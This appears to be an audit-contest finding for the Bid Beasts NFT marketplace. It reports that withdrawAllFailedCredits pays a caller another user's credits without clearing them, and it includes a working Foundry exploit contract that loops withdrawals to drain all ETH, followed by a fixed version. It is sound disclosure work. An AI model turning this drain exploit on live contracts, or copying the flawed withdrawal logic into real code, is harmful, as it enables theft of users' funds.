Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Can withdraw all ETH from the contract using withdrawAllFailedCredits function

k3ysk1lls

Description

  • Normal behavior: The withdrawAllFailedCredits function is intended to allow users to withdraw their own pending credits that accumulated due to failed ETH transfers. Each user should only be able to withdraw their own credits, and those credits should be properly cleared after withdrawal.

  • Issue: The function takes an arbitrary _receiver argument but uses msg.sender to zero out credits. This mismatch allows a malicious caller to withdraw another user’s credits while leaving the victim’s credit balance intact in storage. This enables repeated theft of all ETH from the contract.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
​
@> failedTransferCredits[msg.sender] = 0; // Clears caller’s credits instead of victim’s
@> (bool success, ) = payable(msg.sender).call{value: amount}(""); // Sends victim’s funds to attacker
​
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Any time a failed ETH transfer occurs (e.g., when sending to a contract without a payable fallback), credits are stored in failedTransferCredits.

  • Whenever such credits exist, an attacker can call withdrawAllFailedCredits(victim) to redirect funds to themselves.

Impact:

  • Attackers can steal all ETH from the contract.

  • Victims’ balances remain unchanged in storage, leaving the system in an inconsistent state.

Proof of Concept

Run the following test:

​
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import {Test, console} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
​
//helper contract to simulate increase in FailedCredits in the market
contract RevertWhenReceiveETH {
BidBeastsNFTMarket market;
BidBeasts nft;
​
constructor(address _marketAddress, address _nftAddress) {
market = BidBeastsNFTMarket(_marketAddress);
nft = BidBeasts(_nftAddress);
}
​
function placeBid(uint256 _id, uint256 _value) public {
market.placeBid{value: _value}(_id);
}
​
receive() external payable {
revert();
}
}
​
contract Attacker {
BidBeastsNFTMarket market;
BidBeasts nft;
​
constructor(address _marketAddress, address _nftAddress) {
market = BidBeastsNFTMarket(_marketAddress);
nft = BidBeasts(_nftAddress);
}
​
function attack(address _user) external {
uint256 userBalance = market.failedTransferCredits(_user);
uint256 marketBalance = address(market).balance;
​
while (userBalance <= marketBalance) {
market.withdrawAllFailedCredits(_user);
marketBalance = address(market).balance;
}
}
​
receive() external payable {}
}
​
contract NFTMarketTest is Test {
BidBeastsNFTMarket market;
BidBeasts nft;
Attacker attackerContract;
RevertWhenReceiveETH bidder_0;
​
address public constant OWNER = address(0x1); // Contract deployer/owner
address public constant SELLER = address(0x2);
address public constant BIDDER_1 = address(0x3);
address public ATTACKER = makeAddr("attacker");
​
// --- Constants ---
uint256 public constant STARTING_BALANCE = 100 ether;
uint256 public constant TOKEN_ID = 0;
uint256 public constant MIN_PRICE = 1 ether;
​
function setUp() public {
vm.startPrank(OWNER);
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
nft.mint(SELLER);
vm.stopPrank();
​
bidder_0 = new RevertWhenReceiveETH(address(market), address(nft));
attackerContract = new Attacker(address(market), address(nft));
​
// Fund users
vm.deal(SELLER, STARTING_BALANCE);
vm.deal(BIDDER_1, STARTING_BALANCE);
vm.deal(address(bidder_0), STARTING_BALANCE);
​
vm.startPrank(SELLER);
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, 0);
vm.stopPrank();
}
​
function testWithdrawAllFailedCredits() public {
//bid from bidder_0
bidder_0.placeBid(TOKEN_ID, MIN_PRICE + 1);
​
//bid from BIDDER_1
vm.prank(BIDDER_1);
market.placeBid{value: (MIN_PRICE + 1) * 2}(TOKEN_ID);
​
//returing ETH to bidder_0 has failed
assertEq(address(market).balance, (MIN_PRICE + 1) * 3);
assertEq(market.failedTransferCredits(address(bidder_0)), (MIN_PRICE + 1));
​
//enters attacker and clears market ETH balance
assertEq(address(attackerContract).balance, 0);
vm.prank(ATTACKER);
attackerContract.attack(address(bidder_0));
​
assertEq(address(market).balance, 0);
assertEq(address(attackerContract).balance, (MIN_PRICE + 1) * 3);
}
}
​
​

Recommended Mitigation

Change withdrawAllFailedCredits as below:

- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
​
require(amount > 0, "No credits to withdraw");
​
failedTransferCredits[msg.sender] = 0;
​
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
​
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!